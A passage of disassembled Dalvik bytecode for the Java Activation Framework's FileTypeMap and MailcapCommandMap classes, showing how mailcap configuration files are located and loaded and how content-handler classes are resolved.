00000000 invoke-static System->getSecurityManager()SecurityManager
00000006 move-result-object v0
00000008 if-eqz v0, :12
:C
0000000C invoke-virtual SecurityManager->checkSetFactory()V, v0
:12
00000012 sput-object p0, FileTypeMap->defaultMap:FileTypeMap
00000016 return-void
:18
00000018 move-exception v0
0000001A const-class v1, FileTypeMap
0000001E invoke-virtual Class->getClassLoader()ClassLoader, v1
00000024 move-result-object v1
00000026 invoke-virtual Object->getClass()Class, p0
0000002C move-result-object v2
0000002E invoke-virtual Class->getClassLoader()ClassLoader, v2
00000034 move-result-object v2
00000036 if-eq v1, v2, :12
:3A
0000003A throw v0
.catch SecurityException {:C .. :12} :18
.end method
.method public abstract getContentType(File)String
.end method
.method public abstract getContentType(String)String
.end method
#--------------------------------------------------------------------------------
.class public MailcapCommandMap
.super CommandMap
.source ""
.field private static final PROG:I
.field private static defDB:MailcapFile
.field private DB:[MailcapFile
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, MailcapCommandMap->defDB:MailcapFile
00000006 return-void
.end method
.method public constructor <init>()V
.registers 4
00000000 invoke-direct CommandMap-><init>()V, p0
00000006 new-instance v0, ArrayList
0000000A const/4 v1, 0x5
0000000C invoke-direct ArrayList-><init>(I)V, v0, v1
00000012 const/4 v1, 0x0
00000014 invoke-interface List->add(Object)Z, v0, v1
0000001A const-string v1, "MailcapCommandMap: load HOME"
0000001E invoke-static LogSupport->log(String)V, v1
:24
00000024 const-string v1, "user.home"
00000028 invoke-static System->getProperty(String)String, v1
0000002E move-result-object v1
00000030 if-eqz v1, :78
:34
00000034 new-instance v2, StringBuilder
00000038 invoke-static String->valueOf(Object)String, v1
0000003E move-result-object v1
00000040 invoke-direct StringBuilder-><init>(String)V, v2, v1
00000046 sget-object v1, File->separator:String
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000050 move-result-object v1
00000052 const-string v2, ".mailcap"
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005C move-result-object v1
0000005E invoke-virtual StringBuilder->toString()String, v1
00000064 move-result-object v1
00000066 invoke-direct MailcapCommandMap->loadFile(String)MailcapFile, p0, v1
0000006C move-result-object v1
0000006E if-eqz v1, :78
:72
00000072 invoke-interface List->add(Object)Z, v0, v1
:78
00000078 const-string v1, "MailcapCommandMap: load SYS"
0000007C invoke-static LogSupport->log(String)V, v1
:82
00000082 new-instance v1, StringBuilder
00000086 const-string v2, "java.home"
0000008A invoke-static System->getProperty(String)String, v2
00000090 move-result-object v2
00000092 invoke-static String->valueOf(Object)String, v2
00000098 move-result-object v2
0000009A invoke-direct StringBuilder-><init>(String)V, v1, v2
000000A0 sget-object v2, File->separator:String
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000AA move-result-object v1
000000AC const-string v2, "lib"
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000B6 move-result-object v1
000000B8 sget-object v2, File->separator:String
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000C2 move-result-object v1
000000C4 const-string v2, "mailcap"
000000C8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000CE move-result-object v1
000000D0 invoke-virtual StringBuilder->toString()String, v1
000000D6 move-result-object v1
000000D8 invoke-direct MailcapCommandMap->loadFile(String)MailcapFile, p0, v1
000000DE move-result-object v1
000000E0 if-eqz v1, :EA
:E4
000000E4 invoke-interface List->add(Object)Z, v0, v1
:EA
000000EA const-string v1, "MailcapCommandMap: load JAR"
000000EE invoke-static LogSupport->log(String)V, v1
000000F4 const-string v1, "mailcap"
000000F8 invoke-direct MailcapCommandMap->loadAllResources(List, String)V, p0, v0, v1
000000FE const-string v1, "MailcapCommandMap: load DEF"
00000102 invoke-static LogSupport->log(String)V, v1
00000108 const-class v1, MailcapCommandMap
0000010C monitor-enter v1
:10E
0000010E sget-object v2, MailcapCommandMap->defDB:MailcapFile
00000112 if-nez v2, :126
:116
00000116 const-string v2, "mailcap.default"
0000011A invoke-direct MailcapCommandMap->loadResource(String)MailcapFile, p0, v2
00000120 move-result-object v2
00000122 sput-object v2, MailcapCommandMap->defDB:MailcapFile
:126
00000126 monitor-exit v1
:128
00000128 sget-object v1, MailcapCommandMap->defDB:MailcapFile
0000012C if-eqz v1, :13A
:130
00000130 sget-object v1, MailcapCommandMap->defDB:MailcapFile
00000134 invoke-interface List->add(Object)Z, v0, v1
:13A
0000013A invoke-interface List->size()I, v0
00000140 move-result v1
00000142 new-array v1, v1, [MailcapFile
00000146 iput-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000014A iget-object v1, p0, MailcapCommandMap->DB:[MailcapFile
0000014E invoke-interface List->toArray([Object)[Object, v0, v1
00000154 move-result-object v0
00000156 check-cast v0, [MailcapFile
0000015A iput-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000015E return-void
:160
00000160 move-exception v0
:162
00000162 monitor-exit v1
:164
00000164 throw v0
:166
00000166 move-exception v1
00000168 goto :EA
:16A
0000016A move-exception v1
0000016C goto :78
.catch SecurityException {:24 .. :78} :16A
.catch SecurityException {:82 .. :EA} :166
.catchall {:10E .. :128} :160
.catchall {:162 .. :164} :160
.end method
.method public constructor <init>(InputStream)V
.registers 5
00000000 const/4 v1, 0x0
00000002 invoke-direct MailcapCommandMap-><init>()V, p0
00000008 const-string v0, "MailcapCommandMap: load PROG"
0000000C invoke-static LogSupport->log(String)V, v0
00000012 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000016 aget-object v0, v0, v1
0000001A if-nez v0, :32
:1E
0000001E iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000022 const/4 v1, 0x0
00000024 new-instance v2, MailcapFile
00000028 invoke-direct MailcapFile-><init>(InputStream)V, v2, p1
0000002E aput-object v2, v0, v1
:32
00000032 return-void
:34
00000034 move-exception v0
00000036 goto :32
.catch IOException {:1E .. :32} :34
.end method
.method public constructor <init>(String)V
.registers 5
00000000 const/4 v2, 0x0
00000002 invoke-direct MailcapCommandMap-><init>()V, p0
00000008 invoke-static LogSupport->isLoggable()Z
0000000E move-result v0
00000010 if-eqz v0, :38
:14
00000014 new-instance v0, StringBuilder
00000018 const-string v1, "MailcapCommandMap: load PROG from "
0000001C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000028 move-result-object v0
0000002A invoke-virtual StringBuilder->toString()String, v0
00000030 move-result-object v0
00000032 invoke-static LogSupport->log(String)V, v0
:38
00000038 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000003C aget-object v0, v0, v2
00000040 if-nez v0, :56
:44
00000044 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000048 new-instance v1, MailcapFile
0000004C invoke-direct MailcapFile-><init>(String)V, v1, p1
00000052 aput-object v1, v0, v2
:56
00000056 return-void
.end method
.method private appendCmdsToList(Map, List)V
.registers 8
00000000 invoke-interface Map->keySet()Set, p1
00000006 move-result-object v0
00000008 invoke-interface Set->iterator()Iterator, v0
0000000E move-result-object v2
:10
00000010 invoke-interface Iterator->hasNext()Z, v2
00000016 move-result v0
00000018 if-nez v0, :1E
:1C
0000001C return-void
:1E
0000001E invoke-interface Iterator->next()Object, v2
00000024 move-result-object v0
00000026 check-cast v0, String
0000002A invoke-interface Map->get(Object)Object, p1, v0
00000030 move-result-object v1
00000032 check-cast v1, List
00000036 invoke-interface List->iterator()Iterator, v1
0000003C move-result-object v3
:3E
0000003E invoke-interface Iterator->hasNext()Z, v3
00000044 move-result v1
00000046 if-eqz v1, :10
:4A
0000004A invoke-interface Iterator->next()Object, v3
00000050 move-result-object v1
00000052 check-cast v1, String
00000056 new-instance v4, CommandInfo
0000005A invoke-direct CommandInfo-><init>(String, String)V, v4, v0, v1
00000060 invoke-interface List->add(Object)Z, p2, v4
00000066 goto :3E
.end method
.method private appendPrefCmdsToList(Map, List)V
.registers 7
00000000 invoke-interface Map->keySet()Set, p1
00000006 move-result-object v0
00000008 invoke-interface Set->iterator()Iterator, v0
0000000E move-result-object v2
:10
00000010 invoke-interface Iterator->hasNext()Z, v2
00000016 move-result v0
00000018 if-nez v0, :1E
:1C
0000001C return-void
:1E
0000001E invoke-interface Iterator->next()Object, v2
00000024 move-result-object v0
00000026 check-cast v0, String
0000002A invoke-direct MailcapCommandMap->checkForVerb(List, String)Z, p0, p2, v0
00000030 move-result v1
00000032 if-nez v1, :10
:36
00000036 invoke-interface Map->get(Object)Object, p1, v0
0000003C move-result-object v1
0000003E check-cast v1, List
00000042 const/4 v3, 0x0
00000044 invoke-interface List->get(I)Object, v1, v3
0000004A move-result-object v1
0000004C check-cast v1, String
00000050 new-instance v3, CommandInfo
00000054 invoke-direct CommandInfo-><init>(String, String)V, v3, v0, v1
0000005A invoke-interface List->add(Object)Z, p2, v3
00000060 goto :10
.end method
.method private checkForVerb(List, String)Z
.registers 5
00000000 invoke-interface List->iterator()Iterator, p1
00000006 move-result-object v1
:8
00000008 invoke-interface Iterator->hasNext()Z, v1
0000000E move-result v0
00000010 if-nez v0, :18
:14
00000014 const/4 v0, 0x0
:16
00000016 return v0
:18
00000018 invoke-interface Iterator->next()Object, v1
0000001E move-result-object v0
00000020 check-cast v0, CommandInfo
00000024 invoke-virtual CommandInfo->getCommandName()String, v0
0000002A move-result-object v0
0000002C invoke-virtual String->equals(Object)Z, v0, p2
00000032 move-result v0
00000034 if-eqz v0, :8
:38
00000038 const/4 v0, 0x1
0000003A goto :16
.end method
.method private getDataContentHandler(String)DataContentHandler
.registers 5
00000000 invoke-static LogSupport->isLoggable()Z
00000006 move-result v0
00000008 if-eqz v0, :16
:C
0000000C const-string v0, " got content-handler"
00000010 invoke-static LogSupport->log(String)V, v0
:16
00000016 invoke-static LogSupport->isLoggable()Z
0000001C move-result v0
0000001E if-eqz v0, :46
:22
00000022 new-instance v0, StringBuilder
00000026 const-string v1, " class "
0000002A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000036 move-result-object v0
00000038 invoke-virtual StringBuilder->toString()String, v0
0000003E move-result-object v0
00000040 invoke-static LogSupport->log(String)V, v0
:46
00000046 invoke-static SecuritySupport->getContextClassLoader()ClassLoader
0000004C move-result-object v0
0000004E if-nez v0, :62
:52
00000052 invoke-virtual Object->getClass()Class, p0
00000058 move-result-object v0
0000005A invoke-virtual Class->getClassLoader()ClassLoader, v0
:60
00000060 move-result-object v0
:62
00000062 invoke-virtual ClassLoader->loadClass(String)Class, v0, p1
:68
00000068 move-result-object v0
:6A
0000006A if-eqz v0, :BA
:6E
0000006E invoke-virtual Class->newInstance()Object, v0
00000074 move-result-object v0
00000076 check-cast v0, DataContentHandler
:7A
0000007A return-object v0
:7C
0000007C move-exception v0
0000007E invoke-static Class->forName(String)Class, p1
:84
00000084 move-result-object v0
00000086 goto :6A
:88
00000088 move-exception v0
0000008A invoke-static LogSupport->isLoggable()Z
00000090 move-result v1
00000092 if-eqz v1, :BA
:96
00000096 new-instance v1, StringBuilder
0000009A const-string v2, "Can\'t load DCH "
0000009E invoke-direct StringBuilder-><init>(String)V, v1, v2
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000AA move-result-object v1
000000AC invoke-virtual StringBuilder->toString()String, v1
000000B2 move-result-object v1
000000B4 invoke-static LogSupport->log(String, Throwable)V, v1, v0
:BA
000000BA const/4 v0, 0x0
000000BC goto :7A
:BE
000000BE move-exception v0
000000C0 invoke-static LogSupport->isLoggable()Z
000000C6 move-result v1
000000C8 if-eqz v1, :BA
:CC
000000CC new-instance v1, StringBuilder
000000D0 const-string v2, "Can\'t load DCH "
000000D4 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000DA invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000E0 move-result-object v1
000000E2 invoke-virtual StringBuilder->toString()String, v1
000000E8 move-result-object v1
000000EA invoke-static LogSupport->log(String, Throwable)V, v1, v0
000000F0 goto :BA
:F2
000000F2 move-exception v0
000000F4 invoke-static LogSupport->isLoggable()Z
000000FA move-result v1
000000FC if-eqz v1, :BA
:100
00000100 new-instance v1, StringBuilder
00000104 const-string v2, "Can\'t load DCH "
00000108 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000010E invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000114 move-result-object v1
00000116 invoke-virtual StringBuilder->toString()String, v1
0000011C move-result-object v1
0000011E invoke-static LogSupport->log(String, Throwable)V, v1, v0
00000124 goto :BA
.catch IllegalAccessException {:46 .. :60} :88
.catch ClassNotFoundException {:46 .. :60} :BE
.catch InstantiationException {:46 .. :60} :F2
.catch Exception {:62 .. :68} :7C
.catch IllegalAccessException {:62 .. :68} :88
.catch ClassNotFoundException {:62 .. :68} :BE
.catch InstantiationException {:62 .. :68} :F2
.catch IllegalAccessException {:6E .. :84} :88
.catch ClassNotFoundException {:6E .. :84} :BE
.catch InstantiationException {:6E .. :84} :F2
.end method
.method private loadAllResources(List, String)V
.registers 12
00000000 const/4 v2, 0x0
:2
00000002 invoke-static SecuritySupport->getContextClassLoader()ClassLoader
00000008 move-result-object v0
0000000A if-nez v0, :1E
:E
0000000E invoke-virtual Object->getClass()Class, p0
00000014 move-result-object v0
00000016 invoke-virtual Class->getClassLoader()ClassLoader, v0
0000001C move-result-object v0
:1E
0000001E if-eqz v0, :9A
:22
00000022 invoke-static SecuritySupport->getResources(ClassLoader, String)[URL, v0, p2
00000028 move-result-object v0
0000002A move-object v4, v0
:2C
0000002C if-eqz v4, :4E
:30
00000030 invoke-static LogSupport->isLoggable()Z
00000036 move-result v0
00000038 if-eqz v0, :46
:3C
0000003C const-string v0, "MailcapCommandMap: getResources"
00000040 invoke-static LogSupport->log(String)V, v0
:46
00000046 move v3, v2
:48
00000048 array-length v0, v4
:4A
0000004A if-lt v3, v0, :A6
:4E
0000004E if-nez v2, :98
:52
00000052 invoke-static LogSupport->isLoggable()Z
00000058 move-result v0
0000005A if-eqz v0, :68
:5E
0000005E const-string v0, "MailcapCommandMap: !anyLoaded"
00000062 invoke-static LogSupport->log(String)V, v0
:68
00000068 new-instance v0, StringBuilder
0000006C const-string v1, "/"
00000070 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000076 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
0000007C move-result-object v0
0000007E invoke-virtual StringBuilder->toString()String, v0
00000084 move-result-object v0
00000086 invoke-direct MailcapCommandMap->loadResource(String)MailcapFile, p0, v0
0000008C move-result-object v0
0000008E if-eqz v0, :98
:92
00000092 invoke-interface List->add(Object)Z, p1, v0
:98
00000098 return-void
:9A
0000009A invoke-static SecuritySupport->getSystemResources(String)[URL, p2
000000A0 move-result-object v0
000000A2 move-object v4, v0
000000A4 goto :2C
:A6
000000A6 aget-object v5, v4, v3
000000AA const/4 v1, 0x0
000000AC invoke-static LogSupport->isLoggable()Z
000000B2 move-result v0
000000B4 if-eqz v0, :DC
:B8
000000B8 new-instance v0, StringBuilder
000000BC const-string v6, "MailcapCommandMap: URL "
000000C0 invoke-direct StringBuilder-><init>(String)V, v0, v6
000000C6 invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
000000CC move-result-object v0
000000CE invoke-virtual StringBuilder->toString()String, v0
000000D4 move-result-object v0
000000D6 invoke-static LogSupport->log(String)V, v0
:DC
000000DC invoke-static SecuritySupport->openStream(URL)InputStream, v5
:E2
000000E2 move-result-object v1
000000E4 if-eqz v1, :140
:E8
000000E8 new-instance v0, MailcapFile
000000EC invoke-direct MailcapFile-><init>(InputStream)V, v0, v1
000000F2 invoke-interface List->add(Object)Z, p1, v0
000000F8 const/4 v2, 0x1
000000FA invoke-static LogSupport->isLoggable()Z
00000100 move-result v0
00000102 if-eqz v0, :284
:106
00000106 new-instance v0, StringBuilder
0000010A const-string v6, "MailcapCommandMap: successfully loaded mailcap file from URL: "
0000010E invoke-direct StringBuilder-><init>(String)V, v0, v6
00000114 invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
0000011A move-result-object v0
0000011C invoke-virtual StringBuilder->toString()String, v0
00000122 move-result-object v0
00000124 invoke-static LogSupport->log(String)V, v0
:12A
0000012A move v0, v2
:12C
0000012C if-eqz v1, :136
:130
00000130 invoke-virtual InputStream->close()V, v1
:136
00000136 add-int/lit8 v2, v3, 0x1
0000013A move v3, v2
0000013C move v2, v0
0000013E goto :48
:140
00000140 invoke-static LogSupport->isLoggable()Z
00000146 move-result v0
00000148 if-eqz v0, :284
:14C
0000014C new-instance v0, StringBuilder
00000150 const-string v6, "MailcapCommandMap: not loading mailcap file from URL: "
00000154 invoke-direct StringBuilder-><init>(String)V, v0, v6
0000015A invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v5
00000160 move-result-object v0
00000162 invoke-virtual StringBuilder->toString()String, v0
00000168 move-result-object v0
0000016A invoke-static LogSupport->log(String)V, v0
:170
00000170 move v0, v2
00000172 goto :12C
:174
00000174 move-exception v0
00000176 move-object v8, v0
00000178 move v0, v2
0000017A move-object v2, v1
0000017C move-object v1, v8
:17E
0000017E invoke-static LogSupport->isLoggable()Z
00000184 move-result v6
00000186 if-eqz v6, :1AE
:18A
0000018A new-instance v6, StringBuilder
0000018E const-string v7, "MailcapCommandMap: can\'t load "
00000192 invoke-direct StringBuilder-><init>(String)V, v6, v7
00000198 invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v5
0000019E move-result-object v5
000001A0 invoke-virtual StringBuilder->toString()String, v5
000001A6 move-result-object v5
000001A8 invoke-static LogSupport->log(String, Throwable)V, v5, v1
:1AE
000001AE if-eqz v2, :136
:1B2
000001B2 invoke-virtual InputStream->close()V, v2
:1B8
000001B8 goto :136
:1BA
000001BA move-exception v1
000001BC goto :136
:1BE
000001BE move-exception v0
000001C0 move-object v8, v0
000001C2 move v0, v2
000001C4 move-object v2, v1
000001C6 move-object v1, v8
:1C8
000001C8 invoke-static LogSupport->isLoggable()Z
000001CE move-result v6
000001D0 if-eqz v6, :1F8
:1D4
000001D4 new-instance v6, StringBuilder
000001D8 const-string v7, "MailcapCommandMap: can\'t load "
000001DC invoke-direct StringBuilder-><init>(String)V, v6, v7
000001E2 invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v5
000001E8 move-result-object v5
000001EA invoke-virtual StringBuilder->toString()String, v5
000001F0 move-result-object v5
000001F2 invoke-static LogSupport->log(String, Throwable)V, v5, v1
:1F8
000001F8 if-eqz v2, :136
:1FC
000001FC invoke-virtual InputStream->close()V, v2
:202
00000202 goto :136
:204
00000204 move-exception v1
00000206 goto :136
:208
00000208 move-exception v0
:20A
0000020A if-eqz v1, :214
:20E
0000020E invoke-virtual InputStream->close()V, v1
:214
00000214 throw v0
:216
00000216 move-exception v0
:218
00000218 invoke-static LogSupport->isLoggable()Z
0000021E move-result v1
00000220 if-eqz v1, :4E
:224
00000224 new-instance v1, StringBuilder
00000228 const-string v3, "MailcapCommandMap: can\'t load "
0000022C invoke-direct StringBuilder-><init>(String)V, v1, v3
00000232 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
00000238 move-result-object v1
0000023A invoke-virtual StringBuilder->toString()String, v1
00000240 move-result-object v1
00000242 invoke-static LogSupport->log(String, Throwable)V, v1, v0
00000248 goto/16 :4E
:24C
0000024C move-exception v1
0000024E goto :214
:250
00000250 move-exception v1
00000252 goto/16 :136
:256
00000256 move-exception v1
00000258 move v2, v0
0000025A move-object v0, v1
0000025C goto :218
:25E
0000025E move-exception v1
00000260 move-object v8, v1
00000262 move-object v1, v2
00000264 move v2, v0
00000266 move-object v0, v8
00000268 goto :20A
:26A
0000026A move-exception v0
0000026C move-object v8, v0
0000026E move v0, v2
00000270 move-object v2, v1
00000272 move-object v1, v8
00000274 goto :1C8
:276
00000276 move-exception v0
00000278 move-object v8, v0
0000027A move v0, v2
0000027C move-object v2, v1
0000027E move-object v1, v8
00000280 goto/16 :17E
:284
00000284 move v0, v2
00000286 goto/16 :12C
.catch Exception {:2 .. :4A} :216
.catch Exception {:9A .. :DC} :216
.catch IOException {:DC .. :E2} :174
.catch SecurityException {:DC .. :E2} :1BE
.catchall {:DC .. :E2} :208
.catch IOException {:E8 .. :12A} :276
.catch SecurityException {:E8 .. :12A} :26A
.catchall {:E8 .. :12A} :208
.catch IOException {:130 .. :136} :250
.catch Exception {:130 .. :136} :256
.catch IOException {:140 .. :170} :276
.catch SecurityException {:140 .. :170} :26A
.catchall {:140 .. :170} :208
.catchall {:17E .. :1AE} :25E
.catch IOException {:1B2 .. :1B8} :1BA
.catch Exception {:1B2 .. :1B8} :256
.catchall {:1C8 .. :1F8} :25E
.catch IOException {:1FC .. :202} :204
.catch Exception {:1FC .. :202} :256
.catch IOException {:20E .. :214} :24C
.catch Exception {:20E .. :214} :216
.catch Exception {:214 .. :216} :216
.end method
.method private loadFile(String)MailcapFile
.registers 4
00000000 const/4 v1, 0x0
:2
00000002 new-instance v0, MailcapFile
00000006 invoke-direct MailcapFile-><init>(String)V, v0, p1
:C
0000000C return-object v0
:E
0000000E move-exception v0
00000010 move-object v0, v1
00000012 goto :C
.catch IOException {:2 .. :C} :E
.end method
.method private loadResource(String)MailcapFile
.registers 7
00000000 const/4 v1, 0x0
:2
00000002 invoke-virtual Object->getClass()Class, p0
00000008 move-result-object v0
0000000A invoke-static SecuritySupport->getResourceAsStream(Class, String)InputStream, v0, p1
:10
00000010 move-result-object v2
00000012 if-eqz v2, :5C
:16
00000016 new-instance v0, MailcapFile
0000001A invoke-direct MailcapFile-><init>(InputStream)V, v0, v2
00000020 invoke-static LogSupport->isLoggable()Z
00000026 move-result v3
00000028 if-eqz v3, :50
:2C
0000002C new-instance v3, StringBuilder
00000030 const-string v4, "MailcapCommandMap: successfully loaded mailcap file: "
00000034 invoke-direct StringBuilder-><init>(String)V, v3, v4
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
00000040 move-result-object v3
00000042 invoke-virtual StringBuilder->toString()String, v3
00000048 move-result-object v3
0000004A invoke-static LogSupport->log(String)V, v3
:50
00000050 if-eqz v2, :5A
:54
00000054 invoke-virtual InputStream->close()V, v2
:5A
0000005A return-object v0
:5C
0000005C invoke-static LogSupport->isLoggable()Z
00000062 move-result v0
00000064 if-eqz v0, :8C
:68
00000068 new-instance v0, StringBuilder
0000006C const-string v3, "MailcapCommandMap: not loading mailcap file: "
00000070 invoke-direct StringBuilder-><init>(String)V, v0, v3
00000076 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000007C move-result-object v0
0000007E invoke-virtual StringBuilder->toString()String, v0
00000084 move-result-object v0
00000086 invoke-static LogSupport->log(String)V, v0
:8C
0000008C if-eqz v2, :96
:90
00000090 invoke-virtual InputStream->close()V, v2
:96
00000096 move-object v0, v1
00000098 goto :5A
:9A
0000009A move-exception v0
0000009C move-object v2, v1
:9E
0000009E invoke-static LogSupport->isLoggable()Z
000000A4 move-result v3
000000A6 if-eqz v3, :CE
:AA
000000AA new-instance v3, StringBuilder
000000AE const-string v4, "MailcapCommandMap: can\'t load "
000000B2 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
000000BE move-result-object v3
000000C0 invoke-virtual StringBuilder->toString()String, v3
000000C6 move-result-object v3
000000C8 invoke-static LogSupport->log(String, Throwable)V, v3, v0
:CE
000000CE if-eqz v2, :96
:D2
000000D2 invoke-virtual InputStream->close()V, v2
:D8
000000D8 goto :96
:DA
000000DA move-exception v0
000000DC goto :96
:DE
000000DE move-exception v0
000000E0 move-object v2, v1
:E2
000000E2 invoke-static LogSupport->isLoggable()Z
000000E8 move-result v3
000000EA if-eqz v3, :112
:EE
000000EE new-instance v3, StringBuilder
000000F2 const-string v4, "MailcapCommandMap: can\'t load "
000000F6 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000FC invoke-virtual StringBuilder->append(String)StringBuilder, v3, p1
00000102 move-result-object v3
00000104 invoke-virtual StringBuilder->toString()String, v3
0000010A move-result-object v3
0000010C invoke-static LogSupport->log(String, Throwable)V, v3, v0
:112
00000112 if-eqz v2, :96
:116
00000116 invoke-virtual InputStream->close()V, v2
:11C
0000011C goto :96
:11E
0000011E move-exception v0
00000120 goto :96
:122
00000122 move-exception v0
00000124 move-object v2, v1
:126
00000126 if-eqz v2, :130
:12A
0000012A invoke-virtual InputStream->close()V, v2
:130
00000130 throw v0
:132
00000132 move-exception v1
00000134 goto :5A
:136
00000136 move-exception v1
00000138 goto :130
:13A
0000013A move-exception v0
0000013C goto :96
:13E
0000013E move-exception v0
00000140 goto :126
:142
00000142 move-exception v0
00000144 goto :E2
:146
00000146 move-exception v0
00000148 goto :9E
.catch IOException {:2 .. :10} :9A
.catch SecurityException {:2 .. :10} :DE
.catchall {:2 .. :10} :122
.catch IOException {:16 .. :50} :146
.catch SecurityException {:16 .. :50} :142
.catchall {:16 .. :50} :13E
.catch IOException {:54 .. :5A} :132
.catch IOException {:5C .. :8C} :146
.catch SecurityException {:5C .. :8C} :142
.catchall {:5C .. :8C} :13E
.catch IOException {:90 .. :96} :13A
.catchall {:9E .. :CE} :13E
.catch IOException {:D2 .. :D8} :DA
.catchall {:E2 .. :112} :13E
.catch IOException {:116 .. :11C} :11E
.catch IOException {:12A .. :130} :136
.end method
.method public declared-synchronized addMailcap(String)V
.registers 5
00000000 monitor-enter p0
:2
00000002 const-string v0, "MailcapCommandMap: add to PROG"
00000006 invoke-static LogSupport->log(String)V, v0
0000000C iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000010 const/4 v1, 0x0
00000012 aget-object v0, v0, v1
00000016 if-nez v0, :2E
:1A
0000001A iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000001E const/4 v1, 0x0
00000020 new-instance v2, MailcapFile
00000024 invoke-direct MailcapFile-><init>()V, v2
0000002A aput-object v2, v0, v1
:2E
0000002E iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000032 const/4 v1, 0x0
00000034 aget-object v0, v0, v1
00000038 invoke-virtual MailcapFile->appendToMailcap(String)V, v0, p1
:3E
0000003E monitor-exit p0
00000040 return-void
:42
00000042 move-exception v0
00000044 monitor-exit p0
00000046 throw v0
.catchall {:2 .. :3E} :42
.end method
.method public declared-synchronized createDataContentHandler(String)DataContentHandler
.registers 6
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-static LogSupport->isLoggable()Z
0000000A move-result v0
0000000C if-eqz v0, :34
:10
00000010 new-instance v0, StringBuilder
00000014 const-string v2, "MailcapCommandMap: createDataContentHandler for "
00000018 invoke-direct StringBuilder-><init>(String)V, v0, v2
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000024 move-result-object v0
00000026 invoke-virtual StringBuilder->toString()String, v0
0000002C move-result-object v0
0000002E invoke-static LogSupport->log(String)V, v0
:34
00000034 if-eqz p1, :44
:38
00000038 sget-object v0, Locale->ENGLISH:Locale
0000003C invoke-virtual String->toLowerCase(Locale)String, p1, v0
00000042 move-result-object p1
:44
00000044 move v2, v1
:46
00000046 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
0000004A array-length v0, v0
0000004C if-lt v2, v0, :60
:50
00000050 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000054 array-length v0, v0
:56
00000056 if-lt v1, v0, :E8
:5A
0000005A const/4 v0, 0x0
:5C
0000005C monitor-exit p0
0000005E return-object v0
:60
00000060 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
00000064 aget-object v0, v0, v2
00000068 if-nez v0, :74
:6C
0000006C add-int/lit8 v0, v2, 0x1
00000070 move v2, v0
00000072 goto :46
:74
00000074 invoke-static LogSupport->isLoggable()Z
0000007A move-result v0
0000007C if-eqz v0, :A4
:80
00000080 new-instance v0, StringBuilder
00000084 const-string v3, " search DB #"
00000088 invoke-direct StringBuilder-><init>(String)V, v0, v3
0000008E invoke-virtual StringBuilder->append(I)StringBuilder, v0, v2
00000094 move-result-object v0
00000096 invoke-virtual StringBuilder->toString()String, v0
0000009C move-result-object v0
0000009E invoke-static LogSupport->log(String)V, v0
:A4
000000A4 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
000000A8 aget-object v0, v0, v2
000000AC invoke-virtual MailcapFile->getMailcapList(String)Map, v0, p1
000000B2 move-result-object v0
000000B4 if-eqz v0, :6C
:B8
000000B8 const-string v3, "content-handler"
000000BC invoke-interface Map->get(Object)Object, v0, v3
000000C2 move-result-object v0
000000C4 check-cast v0, List
000000C8 if-eqz v0, :6C
:CC
000000CC const/4 v3, 0x0
000000CE invoke-interface List->get(I)Object, v0, v3
000000D4 move-result-object v0
000000D6 check-cast v0, String
000000DA invoke-direct MailcapCommandMap->getDataContentHandler(String)DataContentHandler, p0, v0
000000E0 move-result-object v0
000000E2 if-eqz v0, :6C
:E6
000000E6 goto :5C
:E8
000000E8 iget-object v0, p0, MailcapCommandMap->DB:[MailcapFile
000000EC aget-object v0, v0, v1
000000F0 if-nez v0, :FC
:F4
000000F4 add-int/lit8 v0, v1, 0x1
000000F8 move v1, v0
000000FA goto :50
:FC
000000FC invoke-static LogSupport->isLoggable()Z
00000102 move-result v0
00000104 if-eqz v0, :12C
:108
00000108 new-instance v0, StringBuilder
0000010C const-string v2, " search fallback DB #"
00000110 invoke-direct StringBuilder-><init>(String)V, v0, v2
00000116 invoke-virtual StringBuilder->append(I)StringBuilder, v0, v1
0000011C move-result-object v0
0000011E invoke-virtual StringBuilder->toString()String, v0
00000124 move-result-object v0
00000126 invoke-static LogSupport->log(String)V, v0
:12C
